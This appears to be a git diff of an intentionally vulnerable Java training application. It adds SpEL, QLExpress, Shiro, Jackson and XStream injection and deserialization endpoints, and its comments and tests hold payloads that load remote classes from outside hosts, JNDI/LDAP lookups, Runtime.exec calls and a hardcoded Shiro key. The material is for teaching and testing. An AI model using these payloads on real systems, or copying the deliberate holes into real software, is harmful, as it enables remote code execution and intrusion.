diff --git a/README.md b/README.md
index 52642169..c1f2eb91 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,12 @@
Java sec code is a very powerful and friendly project for learning Java vulnerability code.
-[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
+[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋
+
+## Recruitment
+
+[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
+
## Introduce
@@ -41,12 +46,14 @@ Sort by letter.
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
- Runtime
- ProcessBuilder
- ScriptEngine
- Yaml Deserialize
- Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
@@ -145,7 +152,7 @@ Viarus
Example:
```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
```
return:
@@ -203,12 +210,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/
Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu).
-## Donate
-
-If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎.
-
-### Alipay
-
-Scan the QRcode to support `Java sec code`.
+## Support
-
+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
index 70e68837..b5c658c3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,11 @@
对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
+
+## 招聘
+
+[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
## 介绍
@@ -36,12 +40,14 @@ joychou/joychou123
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
- Runtime
- ProcessBuilder
- ScriptEngine
- Yaml Deserialize
- Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
@@ -137,7 +143,7 @@ Viarus
例子:
```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
```
返回:
@@ -193,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会
核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
-## 捐赠
-
-如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
-### Alipay
+## 支持
-扫描支付宝二维码支持`Java sec code`。
+如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 1daccaec..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,5 +1,11 @@
+
+
+
+
+
+
diff --git a/pom.xml b/pom.xml
index e2a62e75..c62d938c 100644
--- a/pom.xml
+++ b/pom.xml
@@ -12,7 +12,6 @@
1.8
1.8
- 8.5.85
@@ -197,11 +196,12 @@
1.7
-
+
com.thoughtworks.xstream
xstream
- 1.4.10
+
+ 1.4.20
@@ -344,6 +344,65 @@
11.5.8.0
+
+ org.apache.shiro
+ shiro-core
+ 1.2.4
+
+
+
+ com.fasterxml.jackson.core
+ jackson-databind
+ 2.9.8
+
+
+
+ com.fasterxml.jackson.core
+ jackson-annotations
+ 2.9.8
+
+
+
+ com.fasterxml.jackson.core
+ jackson-core
+ 2.9.8
+
+
+
+
+
+ org.jsecurity
+ jsecurity
+ 0.9.0
+
+
+
+
+
+ org.springframework
+ spring-expression
+ 4.3.16.RELEASE
+
+
+
+
+ com.h2database
+ h2
+ 1.4.199
+ test
+
+
+
+ org.apache.tomcat
+ tomcat-dbcp
+ 9.0.8
+
+
+
+ com.alibaba
+ QLExpress
+ 3.3.1
+
diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 41169b9a..afdf6f56 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -5,7 +5,6 @@
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.ServletComponentScan;
import org.springframework.boot.web.support.SpringBootServletInitializer;
-import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
@ServletComponentScan // do filter
diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
index be7a1b1c..15822d59 100644
--- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java
+++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
@@ -1,10 +1,5 @@
package org.joychou.config;
-import com.sun.org.apache.xalan.internal.xsltc.DOM;
-import com.sun.org.apache.xalan.internal.xsltc.TransletException;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
-import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
-import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
@@ -19,8 +14,8 @@
import javax.servlet.*;
import java.util.*;
-@Component
-public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
+//@Component
+public class TomcatFilterMemShell implements Filter {
static{
try {
System.out.println("Tomcat filter backdoor class is loading...");
@@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
}
- @Override
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
-
- }
-
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
-
- }
-
@Override
public void init(FilterConfig filterConfig) throws ServletException {
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 1ca5ff43..55c82ab2 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,5 +1,6 @@
package org.joychou.controller;
+import com.fasterxml.jackson.databind.ObjectMapper;
import org.joychou.config.Constants;
import org.joychou.security.AntObjectInputStream;
import org.slf4j.Logger;
@@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
return "I'm very OK.";
}
+ // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
+ @RequestMapping("/jackson")
+ public void Jackson(String payload) {
+ ObjectMapper mapper = new ObjectMapper();
+ mapper.enableDefaultTyping();
+ try {
+ Object obj = mapper.readValue(payload, Object.class);
+ mapper.writeValueAsString(obj);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index 00ab7008..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
index 2ab0dcef..eb9381e3 100644
--- a/src/main/java/org/joychou/controller/Jsonp.java
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -6,8 +6,8 @@
import com.alibaba.fastjson.JSONPObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang.StringUtils;
-import org.joychou.security.SecurityUtil;
import org.joychou.util.LoginUtils;
+import org.joychou.security.SecurityUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
@@ -19,7 +19,6 @@
import org.joychou.util.WebUtils;
import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
import java.security.Principal;
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
index 522fd44a..f3e4c126 100644
--- a/src/main/java/org/joychou/controller/Jwt.java
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque
String loginUser = request.getUserPrincipal().getName();
log.info("Current login user is " + loginUser);
- CookieUtils.deleteCookie(response, COOKIE_NAME);
+ if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+ return String.format("%s cookie delete failed", COOKIE_NAME);
+ }
String token = JwtUtils.generateTokenByJavaJwt(loginUser);
Cookie cookie = new Cookie(COOKIE_NAME, token);
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
index e5dbc83a..b2ea4060 100644
--- a/src/main/java/org/joychou/controller/Log4j.java
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -2,7 +2,7 @@
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@@ -11,23 +11,18 @@ public class Log4j {
private static final Logger logger = LogManager.getLogger("Log4j");
/**
- * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999}
+ * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
* Default: error/fatal/off
* Fix: Update log4j to lastet version.
- * @param token token
*/
- @GetMapping("/log4j")
+ @RequestMapping(value = "/log4j")
public String log4j(String token) {
- if(token.equals("java-sec-code")) {
- return "java sec code";
- } else {
- logger.error(token);
- return "error";
- }
+ logger.error(token);
+ return token;
}
public static void main(String[] args) {
- String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
+ String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
logger.error(poc);
}
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+ /**
+ * url = 'http://sb.dog:8888/';
+ * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+ * classLoader.loadClass('Hello').newInstance();
+ */
+ @RequestMapping("/vuln1")
+ public String vuln1(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ DefaultContext context = new DefaultContext();
+ Object r = runner.execute(express, context, null, true, false);
+ System.out.println(r);
+ return r.toString();
+ }
+
+ @RequestMapping("/sec")
+ public String sec(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+ // Can only call java.lang.String#length()
+ QLExpressRunStrategy.addSecureMethod(String.class, "length");
+ DefaultContext context = new DefaultContext();
+ Object r = runner.execute(express, context, null, true, false);
+ System.out.println(r);
+ return r.toString();
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index b64d57bf..7c5f30a9 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -15,7 +15,6 @@
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
-import java.sql.DriverManager;
/**
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+ byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+ private final static String DELETE_ME = "deleteMe";
+ AesCipherService acs = new AesCipherService();
+
+
+ @GetMapping(value = "/shiro/deserialize")
+ public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+ Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ try {
+ String rememberMe = cookie.getValue();
+ byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+ byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+ ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+ } catch (Exception e){
+ if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+ log.error(e.getMessage());
+ return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+ }
+ }
+
+ return "Shiro deserialize";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 698f4a7e..452180b8 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,38 +1,64 @@
package org.joychou.controller;
+import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
- * SpEL Injection
- *
+ * SpEL Injection.
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {
/**
- * SpEL to RCE
- * http://localhost:8080/spel/vul/?expression=xxx.
- * xxx is urlencode(exp)
- * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+ * Use Spel to execute cmd.
+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
*/
- @GetMapping("/spel/vuln")
- public String rce(String expression) {
+ @RequestMapping("/spel/vuln1")
+ public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
- // fix method: SimpleEvaluationContext
- return parser.parseExpression(expression).getValue().toString();
+ return parser.parseExpression(value).getValue().toString();
+ }
+
+ /**
+ * Use Spel to execute cmd.
+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+ * Exploit must add #{} if using TemplateParserContext.
+ */
+ @RequestMapping("spel/vuln2")
+ public String spel_vuln2(String value) {
+ StandardEvaluationContext context = new StandardEvaluationContext();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context); // trigger vulnerability point
+ return x.toString(); // response
+ }
+
+ /**
+ * Use SimpleEvaluationContext to fix.
+ */
+ @RequestMapping("spel/sec")
+ public String spel_sec(String value) {
+ SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
+ SpelExpressionParser parser = new SpelExpressionParser();
+ Expression expression = parser.parseExpression(value, new TemplateParserContext());
+ Object x = expression.getValue(context);
+ return x.toString();
}
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
- String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
+ String expression = "1+1";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
+
}
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
deleted file mode 100644
index 3b75c7d0..00000000
--- a/src/main/java/org/joychou/controller/Test.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package org.joychou.controller;
-
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
-
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
-
-@RestController
-@RequestMapping("/test")
-public class Test {
-
- @RequestMapping(value = "/")
- public String Index(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- return "success";
- }
-
-
- @RequestMapping(value = "/aa")
- public void test(HttpServletResponse response, String empId) {
-
- System.out.println(empId);
- Cookie cookie = new Cookie("XSRF-TOKEN", "123");
- cookie.setDomain("taobao.com");
- cookie.setMaxAge(-1); // forever time
- response.addCookie(cookie);
- }
-}
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
index 62616e95..aa3469bd 100644
--- a/src/main/java/org/joychou/controller/XStreamRce.java
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -2,6 +2,7 @@
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
import org.joychou.dao.User;
import org.joychou.util.WebUtils;
import org.springframework.web.bind.annotation.PostMapping;
@@ -24,20 +25,9 @@ public class XStreamRce {
public String parseXml(HttpServletRequest request) throws Exception {
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
+ xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected.
xstream.fromXML(xml);
return "xstream";
}
- public static void main(String[] args) {
- User user = new User();
- user.setId(0);
- user.setUsername("admin");
-
- XStream xstream = new XStream(new DomDriver());
- String xml = xstream.toXML(user); // Serialize
- System.out.println(xml);
-
- user = (User) xstream.fromXML(xml); // Deserialize
- System.out.println(user.getId() + ": " + user.getUsername());
- }
}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
index ec054ffd..d3107c3e 100644
--- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -1,7 +1,6 @@
package org.joychou.controller.othervulns;
import com.monitorjbl.xlsx.StreamingReader;
-import org.apache.poi.ss.usermodel.Workbook;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
index 1336f571..0b8eb3b0 100644
--- a/src/main/java/org/joychou/dao/User.java
+++ b/src/main/java/org/joychou/dao/User.java
@@ -1,32 +1,11 @@
package org.joychou.dao;
-import java.io.Serializable;
+import lombok.Data;
-public class User implements Serializable {
- private static final long serialVersionUID = 1L;
+
+@Data
+public class User {
private Integer id;
private String username;
private String password;
-
- public Integer getId() {
- return id;
- }
- public void setId(Integer id) {
- this.id = id;
- }
-
- public String getUsername() {
- return username;
- }
- public void setUsername(String username) {
- this.username = username;
- }
-
- public String getPassword() {
- return password;
- }
- public void setPassword(String password) {
- this.password = password;
- }
-
}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
index ee962846..fef14593 100644
--- a/src/main/java/org/joychou/security/SecurityUtil.java
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -18,7 +18,7 @@
public class SecurityUtil {
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
- private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+ private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
/**
@@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) {
/**
* 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
- *
* 存在的问题:
* 1、会主动发起请求,可能会有性能问题
* 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
@@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) {
/**
* 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
- *
* 存在问题:
* 1、TTL为0会被绕过
* 2、使用重定向可绕过
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
index eddae0db..f63b6e42 100644
--- a/src/main/java/org/joychou/util/CookieUtils.java
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -21,4 +21,17 @@ public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
return false;
}
}
+
+ public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+ try {
+ Cookie cookie = new Cookie(cookieName, cookieValue);
+ cookie.setMaxAge(1000);
+ cookie.setPath("/");
+ res.addCookie(cookie);
+ return true;
+ } catch (Exception e) {
+ log.error(e.toString());
+ return false;
+ }
+ }
}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 66bdb978..326a2b76 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -46,7 +46,7 @@ swagger.enable = true
### no need to login page begins ###
-joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
### no need to login page ends ###
@@ -54,5 +54,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**,
# http header max size
#server.max-http-header-size=30000
+# Fake aksk. Simulate actuator info leak.
jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
index 1a4c4225..d5c4ccd5 100644
--- a/src/main/resources/templates/login.html
+++ b/src/main/resources/templates/login.html
@@ -28,7 +28,9 @@
diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java
new file mode 100644
index 00000000..a2071d58
--- /dev/null
+++ b/src/main/test/org/test/QLExpressTest.java
@@ -0,0 +1,103 @@
+package org.test;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.IExpressContext;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.junit.Test;
+
+/**
+ * QLExpress security test cases.
+ */
+public class QLExpressTest {
+
+ private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();";
+
+ /**
+ * basic usage
+ */
+ @Test
+ public void basicUsage() throws Exception{
+ ExpressRunner runner = new ExpressRunner();
+ IExpressContext context = new DefaultContext<>();
+ context.put("a", 1);
+ context.put("b", 2);
+ Object r = runner.execute("a+b", context, null, true, false);
+ System.out.println(r); // print 3
+ }
+
+ /**
+ * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class.
+ */
+ @Test
+ public void vuln1() throws Exception {
+ System.out.println(poc);
+ ExpressRunner runner = new ExpressRunner();
+ IExpressContext context = new DefaultContext<>();
+ Object r = runner.execute(poc, context, null, true, false);
+ System.out.println(r);
+ }
+
+ /**
+ * fix method by using class and method whitelist.
+ */
+ @Test
+ public void sec01() throws Exception {
+ System.out.println(poc);
+ ExpressRunner runner = new ExpressRunner();
+ QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+ QLExpressRunStrategy.addSecureMethod(String.class, "length");
+ IExpressContext context = new DefaultContext<>();
+ Object r1 = runner.execute("'abc'.length()", context, null, true, false);
+ System.out.println(r1);
+ Object r2 = runner.execute(poc, context, null, true, false);
+ System.out.println(r2);
+ }
+
+ /**
+ * Fix method by using class and method blacklist. It may exist bypass.
+ *
+ * Default blacklist:
+ *
+ * - System.class.getName() + ".exit"
+ * - ProcessBuilder.class.getName() + ".start"
+ * - Method.class.getName() + ".invoke"
+ * - Class.class.getName() + ".forName"
+ * - ClassLoader.class.getName() + ".loadClass"
+ * - ClassLoader.class.getName() + ".findClass"
+ * - ClassLoader.class.getName() + ".defineClass"
+ * - ClassLoader.class.getName() + ".getSystemClassLoader"
+ * - javax.naming.InitialContext.lookup
+ * - com.sun.rowset.JdbcRowSetImpl.setDataSourceName
+ * - com.sun.rowset.JdbcRowSetImpl.setAutoCommit
+ * - QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
+ * - jdk.jshell.JShell.create
+ * - javax.script.ScriptEngineManager.getEngineByName
+ * - org.springframework.jndi.JndiLocatorDelegate.lookup
+ *
+ *
+ */
+ @Test
+ public void sec02() throws Exception {
+ System.out.println(poc);
+ ExpressRunner runner = new ExpressRunner();
+ QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
+ IExpressContext context = new DefaultContext<>();
+ Object r = runner.execute(poc, context, null, true, false);
+ System.out.println(r);
+ }
+
+
+ /**
+ * Fix method by using sandbox.
+ */
+ @Test
+ public void sec03() throws Exception {
+ System.out.println(poc);
+ ExpressRunner runner = new ExpressRunner();
+ QLExpressRunStrategy.setSandBoxMode(true);
+ IExpressContext context = new DefaultContext<>();
+ Object r = runner.execute(poc, context, null, true, false);
+ System.out.println(r);
+ }
+}
diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java
new file mode 100644
index 00000000..a5375ebf
--- /dev/null
+++ b/src/main/test/org/test/XStreamTest.java
@@ -0,0 +1,70 @@
+package org.test;
+
+import com.thoughtworks.xstream.XStream;
+import com.thoughtworks.xstream.io.xml.DomDriver;
+import com.thoughtworks.xstream.security.AnyTypePermission;
+import org.joychou.dao.User;
+import org.junit.Test;
+
+public class XStreamTest {
+
+ private static final String poc_xml = "\n" +
+ " foo\n" +
+ " \n" +
+ " java.lang.Comparable\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " Open\n" +
+ " -a\n" +
+ " Calculator\n" +
+ " \n" +
+ " \n" +
+ " start\n" +
+ " \n" +
+ " \n" +
+ "";
+
+
+ /**
+ * XStream basic usage.
+ */
+ @Test
+ public void basicUsage() {
+ User user = new User();
+ user.setId(0);
+ user.setUsername("admin");
+
+ XStream xstream = new XStream(new DomDriver());
+ String xml = xstream.toXML(user); // Serialize
+ System.out.println(xml);
+
+ // High version xstream needs set allowTypes
+ xstream.allowTypes(new Class[]{User.class});
+ user = (User) xstream.fromXML(xml); // Deserialize
+ System.out.println(user.getId() + ": " + user.getUsername());
